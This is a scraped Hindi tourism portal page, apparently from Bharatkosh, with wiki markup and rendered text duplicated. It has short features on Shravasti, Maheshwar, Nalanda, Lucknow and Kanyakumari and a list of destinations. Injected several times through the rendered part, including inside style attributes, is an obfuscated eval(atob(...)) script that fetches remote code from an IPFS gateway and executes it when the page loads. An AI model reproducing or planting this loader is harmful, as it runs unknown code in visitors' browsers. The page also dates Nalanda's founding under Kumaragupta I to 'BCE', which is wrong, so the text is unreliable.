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* यहाँ हम [[भारत]] की पर्यटन संबंधी जानकारी प्राप्त कर सकते हैं।<br />
 
* यहाँ हम [[भारत]] की पर्यटन संबंधी जानकारी प्राप्त कर सकते हैं।<br />
 
* पर्यटन के अनेक प्रकार हैं जैसे- सांस्कृतिक, पर्यावरण, स्वास्थ्य, धार्मिक,  शैक्षिक, पुरातत्त्व, विरासत-परम्परा, रोमांचक और वन्य जीवन आदि।
 
* पर्यटन के अनेक प्रकार हैं जैसे- सांस्कृतिक, पर्यावरण, स्वास्थ्य, धार्मिक,  शैक्षिक, पुरातत्त्व, विरासत-परम्परा, रोमांचक और वन्य जीवन आदि।
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* प्राचीन काल से ही भारत एक अत्यन्त ही विविधता सम्पन्न देश रहा है और यह विशेषता आज भी समय की घड़ी पर अंकित है।<br />
 
* प्राचीन काल से ही भारत एक अत्यन्त ही विविधता सम्पन्न देश रहा है और यह विशेषता आज भी समय की घड़ी पर अंकित है।<br />
 
* वर्ष 2007 में, 90.3 करोड़ से अधिक अंतरराष्ट्रीय पर्यटकों के आगमन के साथ, 2006 की तुलना में 6.6% की वृद्धि दर्ज की गई।  
 
* वर्ष 2007 में, 90.3 करोड़ से अधिक अंतरराष्ट्रीय पर्यटकों के आगमन के साथ, 2006 की तुलना में 6.6% की वृद्धि दर्ज की गई।  
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| class="headbg12"  style="border:1px solid #e8cbac; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px;" valign="top" | <div style="padding-left:8px; background:#f8e4cf; border:thin solid #e8cbac;">'''विशेष आलेख'''</div>  
<div align="center" style="color:#34341B;">'''[[श्रावस्ती]]'''</div>
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<div align="center" style="color:#34341B;">'''[[महेश्वर]]'''</div>
<div id="rollnone"> [[चित्र:Jain-Temple-Sravasti.jpg|border|right|150px|प्राचीन जैन मंदिर के अवशेष, श्रावस्ती |link=श्रावस्ती]]</div>
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<div id="rollnone">[[चित्र:Maheshwar-Fort-and-ahilya-ghat-2.jpg|right|100px|अहिल्या घाट, महेश्वर|link=महेश्वर|border]] </div>
*श्रावस्ती, [[उत्तर प्रदेश]] राज्य के [[गोंडा ज़िला|गोंडा]]-[[बहराइच ज़िला|बहराइच]] ज़िलों की सीमा पर स्थित एक [[बौद्ध]] [[तीर्थ|तीर्थ स्थान]] है।  
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* पहले यह [[कौशल]] देश की दूसरी राजधानी थी। भगवान [[राम]] के पुत्र [[लव कुश]] ने इसे अपनी राजधानी बनाया था।
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        '''[[महेश्वर]]''' [[मध्य प्रदेश]] में स्थित एक ऐतिहासिक नगर तथा प्रसिद्ध पर्यटन स्थल है। यह [[नर्मदा नदी]] के किनारे पर बसा है। प्राचीन समय में यह [[होल्कर वंश]] की राजधानी था। महेश्वर को '[[माहिष्मती]]' नाम से भी जाना जाता है। महेश्वर का [[हिन्दू]] धार्मिक ग्रंथ '[[रामायण]]' तथा '[[महाभारत]]' में भी उल्लेख मिलता है। [[अहिल्याबाई होल्कर|देवी अहिल्याबाई होल्कर]] के कालखंड में बनाये गए यहाँ के घाट बहुत सुन्दर हैं और इनका प्रतिबिम्ब नर्मदा नदी के [[जल]] में बहुत ख़ूबसूरत दिखाई देता है।  यह शहर अपनी '[[महेश्वरी साड़ी|महेश्वरी साड़ियों]]' के लिए भी विशेष रूप से प्रसिद्ध रहा है। [[महेश्वर|... और पढ़ें]]
* श्रावस्ती [[बौद्ध]] और [[जैन]] दोनों का [[तीर्थ]] स्थान है, यहाँ के श्रेष्ठी 'अनाथपिण्डिक' ने भगवान [[गौतम बुद्ध|बुद्ध]] के लिये '''जेतवन विहार''' बनवाया था, आजकल यहाँ बौद्ध धर्मशाला, मठ और मन्दिर है।
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* एक [[बौद्ध]] [[ग्रन्थ]] के अनुसार वहाँ 57 हज़ार कुल रहते थे और कोसल-नरेशों की आमदनी सबसे ज़्यादा इसी नगर से हुआ करती थी।
 
* [[बुद्ध|गौतम बुद्ध]] के समय में भारतवर्ष के 6 बड़े नगरों में श्रावस्ती की गणना हुआ करती थी। '''[[श्रावस्ती|.... और पढ़ें]]'''
 
 
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<div style="padding-left:8px; background:#ede0e0; border:thin solid #cda7a7;">'''चयनित लेख'''</div>  
 
<div style="padding-left:8px; background:#ede0e0; border:thin solid #cda7a7;">'''चयनित लेख'''</div>  
<div align="center" style="color:#34341B;">'''[[नालन्दा विश्‍वविद्यालय]]'''</div>
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<div align="center" style="color:#34341B;">'''[[लखनऊ]]'''</div>
<div id="rollnone"> [[चित्र:Nalanda-University-Bihar.jpg|right|border|150px|नालन्दा विश्‍वविद्यालय|link=नालन्दा विश्‍वविद्यालय]] </div>
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<div id="rollnone"> [[चित्र:Chota-Imambara-Lucknow.jpg|right|100px|छोटा इमामबाड़ा लखनऊ|link=लखनऊ|border]]</div>
*[[पटना]] से 90 किलोमीटर दूर और [[बिहार शरीफ़]] से क़रीब 12 किलोमीटर दक्षिण में, विश्व प्रसिद्ध प्राचीन बौद्ध विश्वविद्यालय नालंदा के खण्डहर स्थित हैं।
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* गुप्तकालीन [[कुमारगुप्त प्रथम महेन्द्रादित्य|सम्राट कुमारगुप्त प्रथम]] ने 415-454 ईसा पूर्व नालन्दा विश्‍वविद्यालय की स्थापना की थी।
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        '''[[लखनऊ]]''' को ऐतिहासिक रूप से [[अवध]] क्षेत्र के नाम से जाना जाता था। लखनऊ के वर्तमान स्वरूप की स्थापना [[अवध के नवाब]] '[[आसफ़उद्दौला]]' ने 1775 ई. में की थी। पुरातत्त्ववेत्ताओं के अनुसार इसका प्राचीन नाम 'लक्ष्मणपुर' था। [[राम]] के छोटे भाई [[लक्ष्मण]] ने इसे बसाया था। यहाँ के शिया नवाबों ने शिष्टाचार, ख़ूबसूरत उद्यानों, कविता, संगीत और बढ़िया व्यंजनों को सदैव संरक्षण दिया। लखनऊ 'नवाबों का शहर' भी कहलाता है। लखनऊ में [[बड़ा इमामबाड़ा लखनऊ|बड़ा इमामबाड़ा]], [[छोटा इमामबाड़ा लखनऊ|छोटा इमामबाड़ा]] तथा [[रूमी दरवाज़ा लखनऊ|रूमी दरवाज़ा]] [[मुग़लकालीन स्थापत्य एवं वास्तुकला|मुग़ल वास्तुकला]] के अद्भुत उदाहरण हैं।  [[लखनऊ|... और पढ़ें]]
*नालंदा [[संस्कृत]] शब्‍द 'नालम् + दा' से बना है। संस्‍कृत में 'नालम' का अर्थ 'कमल' होता है। [[कमल]] ज्ञान का प्रतीक है। नालम् + दा यानी कमल देने वाली, ज्ञान देने वाली। कालक्रम से यहाँ महाविहार की स्‍थापना के बाद इसका नाम 'नालंदा महाविहार' रखा गया।
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* प्रसिद्ध चीनी यात्री [[हुएन-सांग|ह्वेनसांग]] ने 7वीं शताब्दी में यहाँ जीवन का महत्त्वपूर्ण एक वर्ष एक विद्यार्थी और एक शिक्षक के रूप में व्यतीत किया था।
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* नालंदा के विद्यार्थियों के द्वारा ही [[एशिया]] में भारतीय सभ्यता एवं [[संस्कृति]] का विस्तृत प्रचार व प्रसार हुआ था। यहाँ के विद्यार्थियों और विद्वानों की मांग [[एशिया]] के सभी देशों में थी और उनका सर्वत्रादर होता था। '''[[नालन्दा विश्‍वविद्यालय|.... और पढ़ें]]'''
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| class="headbg12"  style="border:1px solid #e8cbac; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px;" valign="top" | <div style="padding-left:8px; background:#f8e4cf; border:thin solid #e8cbac;">'''चयनित लेख'''</div>
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<div align="center" style="color:#34341B;">'''[[कन्याकुमारी]]'''</div>
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<div id="rollnone">[[चित्र:Sunset-Kanyakumari.jpg|right|100px|कन्याकुमारी मंदिर|link=कन्याकुमारी|border]]</div>
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        '''[[कन्याकुमारी]]''' भारत भूमि के सबसे दक्षिण बिंदु पर स्थित केवल एक नगर ही नहीं बल्कि देशी विदेशी सैलानियों का एक बड़ा पर्यटन स्थल भी है। [[भारत]] के मस्तक पर मुकुट के समान सजे [[हिमालय]] के धवल शिखरों को निकट से देखने के बाद हर सैलानी के मन में भारतभूमि के अंतिम छोर को देखने की इच्छा भी उभरने लगती है। यह स्थान एक खाड़ी, एक [[सागर]] और एक [[महासागर]] का मिलन बिंदु है। अपार जलराशि से घिरे इस स्थल के पूर्व में [[बंगाल की खाड़ी]], पश्चिम में [[अरब सागर]] एवं दक्षिण में [[हिंद महासागर]] है। यहाँ आकर हर व्यक्ति को प्रकृति के अनंत स्वरूप के दर्शन होते हैं। सागर-त्रय के [[संगम]] की इस दिव्यभूमि पर माँ भगवती 'देवी कुमारी' के रूप में विद्यमान हैं। इस पवित्र स्थान को विदेशी सैलानियों ने 'एलेक्जेंड्रिया ऑफ़ ईस्ट' की उपमा से नवाज़ा है। [[कन्याकुमारी|... और पढ़ें]]
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<div style="padding-left:8px; background:#f8e4cf; border:thin solid #e8cbac;">'''कुछ लेख'''</div>
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<div style="padding-left:8px; background:#f8e4cf; padding:5px; border:thin solid #e8cbac; margin-bottom:10px">'''महत्त्वपूर्ण लेख'''</div>
 
[[कोलकाता]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[दिल्ली]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[उदयपुर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[मुम्बई]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[माउंट आबू]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[अमृतसर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[देहरादून]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[जयपुर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[अजमेर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[वाराणसी]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[स्वर्ण मंदिर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[ताजमहल]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[इंडिया गेट]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[लाल क़िला दिल्ली]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[सारनाथ]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[बेंगळूरू]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[अयोध्या]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[खजुराहो]] &nbsp;&nbsp;•&nbsp;&nbsp;
 
[[कोलकाता]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[दिल्ली]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[उदयपुर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[मुम्बई]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[माउंट आबू]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[अमृतसर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[देहरादून]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[जयपुर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[अजमेर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[वाराणसी]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[स्वर्ण मंदिर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[ताजमहल]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[इंडिया गेट]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[लाल क़िला दिल्ली]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[सारनाथ]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[बेंगळूरू]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[अयोध्या]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[खजुराहो]] &nbsp;&nbsp;•&nbsp;&nbsp;
[[हम्पी]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[पटना]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[गोवा]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[चेन्नई]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[उदयगिरि गुफ़ाएँ]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[तिरुपति वेन्कटेशवर मन्दिर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[पुष्कर]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[महाबलीपुरम]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[कृष्ण जन्मभूमि]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[चारमीनार]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[लाल क़िला आगरा]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[सूर्य मंदिर कोणार्क]] &nbsp;&nbsp;•&nbsp;&nbsp; [[सोमनाथ]]  &nbsp;&nbsp;•&nbsp;&nbsp; [[केदारनाथ]] &nbsp;&nbsp;•&nbsp;&nbsp; [[सिकंदरा आगरा]] &nbsp;&nbsp;•&nbsp;&nbsp; [[फ़तेहपुर सीकरी]]
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10:27, 7 सितम्बर 2017 का अवतरण

Compass-01.png
  • यहाँ हम भारत की पर्यटन संबंधी जानकारी प्राप्त कर सकते हैं।
  • पर्यटन के अनेक प्रकार हैं जैसे- सांस्कृतिक, पर्यावरण, स्वास्थ्य, धार्मिक, शैक्षिक, पुरातत्त्व, विरासत-परम्परा, रोमांचक और वन्य जीवन आदि।
  • प्राचीन काल से ही भारत एक अत्यन्त ही विविधता सम्पन्न देश रहा है और यह विशेषता आज भी समय की घड़ी पर अंकित है।
  • वर्ष 2007 में, 90.3 करोड़ से अधिक अंतरराष्ट्रीय पर्यटकों के आगमन के साथ, 2006 की तुलना में 6.6% की वृद्धि दर्ज की गई।
पर्यटन श्रेणी के सभी लेख देखें:- पर्यटन कोश
  • भारतकोश पर लेखों की संख्या प्रतिदिन बढ़ती रहती है जो आप देख रहे वह "प्रारम्भ मात्र" ही है...<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
विशेष आलेख
अहिल्या घाट, महेश्वर

        महेश्वर मध्य प्रदेश में स्थित एक ऐतिहासिक नगर तथा प्रसिद्ध पर्यटन स्थल है। यह नर्मदा नदी के किनारे पर बसा है। प्राचीन समय में यह होल्कर वंश की राजधानी था। महेश्वर को 'माहिष्मती' नाम से भी जाना जाता है। महेश्वर का हिन्दू धार्मिक ग्रंथ 'रामायण' तथा 'महाभारत' में भी उल्लेख मिलता है। देवी अहिल्याबाई होल्कर के कालखंड में बनाये गए यहाँ के घाट बहुत सुन्दर हैं और इनका प्रतिबिम्ब नर्मदा नदी के जल में बहुत ख़ूबसूरत दिखाई देता है। यह शहर अपनी 'महेश्वरी साड़ियों' के लिए भी विशेष रूप से प्रसिद्ध रहा है। ... और पढ़ें

चयनित लेख
छोटा इमामबाड़ा लखनऊ

        लखनऊ को ऐतिहासिक रूप से अवध क्षेत्र के नाम से जाना जाता था। लखनऊ के वर्तमान स्वरूप की स्थापना अवध के नवाब 'आसफ़उद्दौला' ने 1775 ई. में की थी। पुरातत्त्ववेत्ताओं के अनुसार इसका प्राचीन नाम 'लक्ष्मणपुर' था। राम के छोटे भाई लक्ष्मण ने इसे बसाया था। यहाँ के शिया नवाबों ने शिष्टाचार, ख़ूबसूरत उद्यानों, कविता, संगीत और बढ़िया व्यंजनों को सदैव संरक्षण दिया। लखनऊ 'नवाबों का शहर' भी कहलाता है। लखनऊ में बड़ा इमामबाड़ा, छोटा इमामबाड़ा तथा रूमी दरवाज़ा मुग़ल वास्तुकला के अद्भुत उदाहरण हैं। ... और पढ़ें

चयनित लेख
कन्याकुमारी मंदिर

        कन्याकुमारी भारत भूमि के सबसे दक्षिण बिंदु पर स्थित केवल एक नगर ही नहीं बल्कि देशी विदेशी सैलानियों का एक बड़ा पर्यटन स्थल भी है। भारत के मस्तक पर मुकुट के समान सजे हिमालय के धवल शिखरों को निकट से देखने के बाद हर सैलानी के मन में भारतभूमि के अंतिम छोर को देखने की इच्छा भी उभरने लगती है। यह स्थान एक खाड़ी, एक सागर और एक महासागर का मिलन बिंदु है। अपार जलराशि से घिरे इस स्थल के पूर्व में बंगाल की खाड़ी, पश्चिम में अरब सागर एवं दक्षिण में हिंद महासागर है। यहाँ आकर हर व्यक्ति को प्रकृति के अनंत स्वरूप के दर्शन होते हैं। सागर-त्रय के संगम की इस दिव्यभूमि पर माँ भगवती 'देवी कुमारी' के रूप में विद्यमान हैं। इस पवित्र स्थान को विदेशी सैलानियों ने 'एलेक्जेंड्रिया ऑफ़ ईस्ट' की उपमा से नवाज़ा है। ... और पढ़ें

महत्त्वपूर्ण लेख

कोलकाता   •   दिल्ली   •   उदयपुर   •   मुम्बई   •   माउंट आबू   •   अमृतसर   •   देहरादून   •   जयपुर   •   अजमेर   •   वाराणसी   •   स्वर्ण मंदिर   •   ताजमहल   •   इंडिया गेट   •   लाल क़िला दिल्ली   •   सारनाथ   •   बेंगळूरू   •   अयोध्या   •   खजुराहो   •   हम्पी   •   पटना   •   गोवा   •   चेन्नई   •   उदयगिरि गुफ़ाएँ   •   तिरुपति वेन्कटेशवर मन्दिर   •   पुष्कर   •   महाबलीपुरम   •   कृष्ण जन्मभूमि   •   चारमीनार   •   लाल क़िला आगरा   •   सूर्य मंदिर कोणार्क   •   सोमनाथ   •   केदारनाथ   •   सिकंदरा आगरा   •   फ़तेहपुर सीकरी   •   हुमायूँ का मक़बरा   •   ग्रेट हिमालयन नेशनल पार्क   •   रानी की वाव   •   काज़ीरंगा राष्ट्रीय उद्यान

<div style="border-bottom:1px solid #E39C79<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#fbe7c1<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">पर्यटन श्रेणी वृक्ष

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चयनित चित्र

ग्वालियर क़िला


इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: पर्यटन चित्रावली<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

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